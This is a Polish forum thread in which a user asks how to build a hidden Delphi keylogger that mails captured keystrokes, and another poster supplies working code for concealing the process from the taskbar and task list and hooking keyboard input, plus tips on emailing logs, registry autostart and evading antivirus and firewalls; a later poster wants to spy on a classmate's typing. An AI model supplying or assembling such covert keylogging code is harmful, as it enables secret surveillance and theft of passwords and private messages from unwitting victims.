Pokaż wyniki 1 do 9 z 9

Temat: [DELPHI] Keylogger

Hybrid View

Previous Post Previous Post   Next Post Next Post
  1. #1

    Question [DELPHI] Keylogger

    Chcialbym napisac w delphi keyloggera. Mam takie problemy:

    1. Co zrobic zeby dzialanie programu bylo ukryte? (tzn. zeby nie bylo widac okienka aplikacji)
    2. Jak monitorowac to co ktos napisze na klawiaturze?
    3. Jak wszystko wyslac potem na maila albo gg?
    4. Czy c++ albo cos innego nie nadaje sie lepiej do pisania keyloggerow itp?

  2. #2
    Zarejestrowany
    Jun 2006
    Skąd
    rand(.eu)
    Postów
    8,748

    Domyślnie

    Owszem... C/C++ sa dobre, warto pomyslec o takim starociu jak Assembler (stary ale ciagle nie do przebicia) i napisac w nim program rezydentny (TSR - ang. Terminate and Stay Resident - o ile pamietam)... no trzeba nieco wiedzy na temat tego jak obslugiwana jest klawiatura w sprzecie klasy PC (podpowiem ze jest to przerwanie sprzetowe i wtedy robisz odczyt bufora), do tego pozniej jak ukry keylogger przed programem antywirusowym... a na sam koniec zaimplementowac jakis sposob komunikacji (mail bedzie prostszy niz GG) ale jeszcze ukryc to przed firewall'em :-)

    Trzymam kciuki!

    P.S.
    Programy rezydentne sa zamykane w momencie zakonczenia sesji DOS (cmd.exe) w windows 2000 i XP, wiec na tych systemach musisz szukac innej drogi :-)

  3. #3
    Zarejestrowany
    Dec 2006
    Skąd
    Polska
    Postów
    8

    Domyślnie

    witam, służę pomocą w miarę możliwości

    1. Musisz zastanowić się nad całkowitym ukryciem programu w systemie. Wypadałoby wyłączyć formę, usunąć program z paska zadań, wyłączyć aplikację z listy Ctrl+Alt+Del:
    a) formę można zrobić niewidoczną, najlepiej BorderStyle=bsNone, width=1, height=1 (nie ustawisz tego w objektorze, więc najlepiej ustaw w kodzie na OnCreate formy), a do tego ustaw left i top na 0 - wtedy forma będzie widoczna ale bardzo mała i ciężka do znalezienia... potem może pobawić się w ukrywanie i tak dalej (wiem że to lamerski sposób :P) Potem opiszę jak to zrobić trochę lepiej, tymczasowo nie mam swoich źródeł...
    b) Usunąć program z paska zadań musisz, zanim zostaną wyświetlony formy, więc dajesz w źródle (Project/View source):
    Kod:
    var
      Ex : Integer;
    begin
      Application.Initialize;
    
       Ex:=GetWindowLong(Application.Handle, GWL_EXSTYLE);
      SetWindowLong(Application.Handle,GWL_EXSTYLE,
      Ex or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
    
      Application.CreateForm(TForm1, Form1);
      Application.Run;
    end.
    c) wyłączanie aplikacji z listy Ctrl=Alt+Del. W sekcji Interface programu dodaj linię
    Kod:
    function RegisterServiceProcess(dwProcessId,dwType:dword):
    Integer;stdcall;external 'kernel32.dll';
    , potem w kodzie na OnCreate wpisz
    Kod:
    RegisterServiceProcess(GetCurrentProcessID, 1);
    <- p.s. nie zadziała to w Windowsie 2000 i XP, więc z tym będzie trzeba jakoś pokombinować :P
    2) Monitorowanie wciśniętych klawiszy, czyli cały "silnik" keyloggera. Tutaj możesz pójść na łatwiznę używając gotowego komponentu (np. KeySpyXP), albo napisać samemu unit do zakładaniu hooka i przechwytywaniu klawiszy:
    Poczytaj tutaj o zakładaniu hooka oraz obsłudze komunikatów: >> http://4programmers.net/Delphi/Kompe...ozdzia%C5%82_5
    albo na skóty - użyj tego
    Kod:
    var
    Hook:Integer;
    MessageBuffer:TEventMsg;
    
    function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
    begin
    case Code of
    HC_ACTION: begin
    MessageBuffer := PEventMsg(lParam)^;
    if MessageBuffer.message = wm_KeyDown then
    begin
    Memo1.Text := Memo1.Text + chr(MessageBuffer.paraml);
    Result := 0;
    end;
    end;
    
    else begin
    Result := CallNextHookEx(Hook, Code, wParam, lParam);
    end;
    end;
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    begin
    Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
    end;
    
    procedure TForm1.FormDestroy(Sender: TObject);
    begin
    UnHookWindowsHookEx(Hook);
    end;
    3) Do wysłania danych przez GG musisz poczytać trochę o protokołach GG, albo pójść na łatwiznę i użyć gotowego komponentu: trochę tego jest w necie więc życzę powodzenia. Do wysłania via e-mail polecam pakiet INDY: >> http://4programmers.net/Delphi/Indy#id-SMTP
    4) Do KeySpy'a poleciłbym ASM'a (chociaż trudny) a widzę że kolego to raczej początkujący w Delphi... Miłej zabawy. Pozdrawiam
    P.S. Warto by pomyśleć o dodawaniu programu do rejestru (autostart), szyfrowaniu logów i zapisywaniu ich datami Na początek powinno wystarczyć.
    Ostatnio edytowane przez jaz0n : 12-20-2006 - 14:28

  4. #4

    Domyślnie Keyyloger

    Siema wam własnie sciagnolem keyylogera programek dziala spoko. Da sie zrobić tak zebym widzial kto cos pisze na innym kompie jak ma zainstalowany programik jak sie to robi

  5. #5

    Domyślnie

    może byś podał więcej szczegółów, albo poszukaj dokumentacji do tego programu.
    "dobrzy hakerzy są sławni na cały świat, ale o hakerach geniuszach nikt nic nie wie."

  6. #6

    Domyślnie

    OK to mój kumpel z klasy moge postrac sie o email ip i gg nie wiem czy to cos da jak cos to wes napisz do mnie na gg 4605252

Podobne wątki

  1. Odpowiedzi: 4
    Autor: 01-07-2007, 15:22
  2. [DELPHI]Kompilator - gdzie znajde?
    By Macok in forum Delphi/Pascal/Lisp
    Odpowiedzi: 4
    Autor: 12-20-2006, 14:32
  3. [DELPHI]Kompilator - gdzie znajde?
    By Macok in forum Hacking
    Odpowiedzi: 0
    Autor: 11-11-2006, 10:03

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj